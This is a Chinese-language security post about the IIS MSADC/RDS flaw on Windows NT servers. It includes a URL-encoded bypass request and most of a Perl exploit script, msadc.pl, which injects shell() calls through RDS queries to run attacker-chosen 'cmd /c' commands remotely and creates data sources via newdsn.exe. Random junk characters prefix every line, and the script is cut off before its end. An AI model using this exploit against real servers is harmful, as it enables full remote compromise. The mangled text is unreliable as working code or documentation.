IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
l<YCX[%E R4P$zB_<2 涉及程序:
DA-W =Cc Microsoft NT server
O| zLD /aHx'TG 描述:
h&$,mbEoI 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1l`$. k *zn=l+c 详细:
<=7N2t)s4 如果你没有时间读详细内容的话,就删除:
K`% I!Br c:\Program Files\Common Files\System\Msadc\msadcs.dll
@!zT+W& 有关的安全问题就没有了。
cA]Ch>]A% wc6v:,& 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Pu7cL z~+gche> 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Qpaan 关于利用ODBC远程漏洞的描述,请参看:
E+|r
h-M 7 ` "JslpN http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V-
HO_GDo [osm\w49 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
'-k~qQk)6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?B`Yq\L) .ugQH<B 这里不再论述。
Yt%
E,U~g ZUxlk+o9d 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
4hh=z>$|l) O)i]K`jk /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
</B5^} 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Jb4A!g5C Z/>0P* F *)H&n>"e #将下面这段保存为txt文件,然后: "perl -x 文件名"
'#faNVPABh 7gY^a MW #!perl
^S'tMT_ #
GY;q0oQ, # MSADC/RDS 'usage' (aka exploit) script
EFKOElG(k #
zu-1|XX # by rain.forest.puppy
]\_T #
K9+C3"*I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L4,Ke # beta test and find errors!
/n|`a1! A"8"e* use Socket; use Getopt::Std;
'5n67Hl 1 getopts("e:vd:h:XR", \%args);
E?+MM0 Q]]5\C. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
I N'a5&.. ;
3WA-nn if (!defined $args{h} && !defined $args{R}) {
&^W91C?<6 print qq~
\dIQhF%%2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
%Kq`8 -h <host> = host you want to scan (ip or domain)
&QL!Y{=Y6 -d <seconds> = delay between calls, default 1 second
cjel6 nj -X = dump Index Server path table, if available
/ NlT[@T -v = verbose
T)NnWEB -e = external dictionary file for step 5
"RF<i3{S j7M[]/| Or a -R will resume a command session
1TvR-.e O7AW9*< ~; exit;}
+Eh^j3W [Nn ?:5" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@Ja8~5 : if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?]#U~M<' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Aj;F$(su if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%4Thb\ T $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
bqt*d)$ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
]O\Oj6C &
M wvj if (!defined $args{R}){ $ret = &has_msadc;
h^D]@H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-^sbf. 9(/ ;Wutj" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
M9/c8zZ . "cmd /c ";
YIQm;EEG $in=<STDIN>; chomp $in;
Vp'Zm: $command="cmd /c " . $in ;
:2KLziO2 rK\) if (defined $args{R}) {&load; exit;}
_IOt(Zb( lc71Pp> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
v3i]z9` &try_btcustmr;
E .kjYIH8 uWYI p\NN print "\nStep 2: Trying to make our own DSN...";
xjOj1Hv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
MxY~(TVPK -U?Udmov print "\nStep 3: Trying known DSNs...";
exqFwmhh &known_dsn;
%Hk9.1hn5 x}W,B,q print "\nStep 4: Trying known .mdbs...";
'xUyGj: &known_mdb;
9;^ r )-_]y|/D:r if (defined $args{e}){
OeuM9c{ print "\nStep 5: Trying dictionary of DSN names...";
WUM&Lq
k" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dT%$"sj5 DUk&`BSJ print "Sorry Charley...maybe next time?\n";
LH4!QDK- exit;
W(oJ{R&m{ ?Sq?f? ##############################################################################
HD(4Ms 3+_
.I{ sub sendraw { # ripped and modded from whisker
cGhnI& sleep($delay); # it's a DoS on the server! At least on mine...
,{HxX0 my ($pstr)=@_;
@,<@y>m7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_JZwd9K die("Socket problems\n");
W -Yv0n3 if(connect(S,pack "SnA4x8",2,80,$target)){
cViEvS r select(S); $|=1;
Vs-])Q?7J print $pstr; my @in=<S>;
]{r*Z6bs select(STDOUT); close(S);
+ou
]| return @in;
xm}9(EJ } else { die("Can't connect...\n"); }}
KVVo_9S' (3DjFT3
w ##############################################################################
Lbka*@ :@:i*2= sub make_header { # make the HTTP request
brA\Fp^ my $msadc=<<EOT
^T[8j/9o^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
eC^UL5>% User-Agent: ACTIVEDATA
:Rh?#yO5 Host: $ip
37hs/=x Content-Length: $clen
R#ABda9 Connection: Keep-Alive
JC~L!)f j9@7\N< ADCClientVersion:01.06
0,a;N%K- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R^PPgE6!$ gAA2S5th --!ADM!ROX!YOUR!WORLD!
-kh O4, Content-Type: application/x-varg
v+NdO$o Content-Length: $reqlen
T[}A7a6g_ %T hY6y( EOT
]xlV;m ; $msadc=~s/\n/\r\n/g;
i NX%Zk[ return $msadc;}
h01 HX wo($7'.@
##############################################################################
N02X*NC 0j^QY6 sub make_req { # make the RDS request
GJ:65)KU my ($switch, $p1, $p2)=@_;
^tS{a *Yn my $req=""; my $t1, $t2, $query, $dsn;
Z*EK56.b I%]~]a if ($switch==1){ # this is the btcustmr.mdb query
jN\} l|;q $query="Select * from Customers where City=" . make_shell();
'u6T^Y S $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
mXd,{b' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_d#1muZ?p| WgxGx`Y) elsif ($switch==2){ # this is general make table query
v+.
n9 $query="create table AZZ (B int, C varchar(10))";
*9#6N2J$M $dsn="$p1";}
4l/hh|3@ d
NQ?8P-& elsif ($switch==3){ # this is general exploit table query
Yj/aa0Ka4 $query="select * from AZZ where C=" . make_shell();
*=Ko"v
} $dsn="$p1";}
vUEG0{8l t$NK{Mw5_ elsif ($switch==4){ # attempt to hork file info from index server
/gkHV3}fu $query="select path from scope()";
e>zCzKK $dsn="Provider=MSIDXS;";}
4K_rL{s0U 'Vwsbm
tY elsif ($switch==5){ # bad query
:DI``]Si\ $query="select";
KMO(f!? $dsn="$p1";}
n[~kcF `nAR/Ye $t1= make_unicode($query);
;JM%O8 $t2= make_unicode($dsn);
D00I!D16 $req = "\x02\x00\x03\x00";
B?BB $req.= "\x08\x00" . pack ("S1", length($t1));
m0}Pq{g $req.= "\x00\x00" . $t1 ;
00Tm]mMQX $req.= "\x08\x00" . pack ("S1", length($t2));
>WfkWUb $req.= "\x00\x00" . $t2 ;
OAoTsqj6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~*OQRl6F return $req;}
3uSj5+@q6 Lnin;0~{ ##############################################################################
?b?6/_W~R ({XB,Rm sub make_shell { # this makes the shell() statement
Y>Oh]? return "'|shell(\"$command\")|'";}
0(!j]w"r3 K`7(*!HEb ##############################################################################
4+rr3 $AY bXVH7F y sub make_unicode { # quick little function to convert to unicode
eI?|Ps{S my ($in)=@_; my $out;
[1+ o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[BPK0 return $out;}
,8~qnLy9 'Z(KE2&? ##############################################################################
b.h:~ATgN Gjhpi5?%8 sub rdo_success { # checks for RDO return success (this is kludge)
L5(7; my (@in) = @_; my $base=content_start(@in);
EL*OeyU1l if($in[$base]=~/multipart\/mixed/){
5c(mgEvq return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Un[olp return 0;}
s"hSn_m W6~aL\[ ##############################################################################
['<Q402:. 5<Ly^Na: sub make_dsn { # this makes a DSN for us
W9i}w& my @drives=("c","d","e","f");
%2H0JXKa, print "\nMaking DSN: ";
?8ZOiY( foreach $drive (@drives) {
#b u]@/ print "$drive: ";
<OX_6d *@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
( (.b& "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
OvL@@SX | . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9T`$gAI $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
9%+Nzo(Fd
return 0 if $2 eq "404"; # not found/doesn't exist
D<V[:~-o if($2 eq "200") {
Y^ Of foreach $line (@results) {
~3f`= r3/. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
fP+RuZ } return 0;}
4b\R@Knu d@sAB1: ##############################################################################
JQi+y; ~>&